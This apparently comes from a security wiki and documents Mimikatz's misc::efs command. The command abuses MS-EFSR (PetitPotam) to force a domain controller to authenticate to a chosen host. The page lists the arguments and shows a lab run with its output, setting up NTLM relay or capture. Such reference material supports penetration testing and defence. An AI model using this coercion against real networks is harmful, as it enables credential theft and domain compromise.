misc::efs
is Mimikatz's implementation of the MS-EFSR abuse (PetitPotam), an authentication coercion technique. It has the following command line arguments:
/authuser
: the User Principal Name (UPN). By default it uses the current user's token/authpassword
: the password of the user./noauth
: use null session/endpoint
: the RPC endpoint. By default is uses\pipe\lsarpc
/server
or/target
: the target server/connect
or/callback
: the unconstrained delegation server, or other host with Responder, etc.
mimikatz # misc::efs /server:dc.hacklab.local /connect:192.168.0.18 /noauth
[auth ] None
[ rpc ] Endpoint: \pipe\lsarpc
[trans] Disconnect eventual IPC: OK
[trans] Connect to IPC: OK
[ rpc ] Resolve Endpoint: OK
Remote server reported bad network path! (OK)
> Server (dc.hacklab.local) may have tried to authenticate (to: 192.168.0.18)
[trans] Disconnect IPC: OK
For more information on how to exploit this, see The Hacker Recipes. It can be used to NTLM relay attacks, NTLM capture, etc.
{% embed url="https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-efsr" %}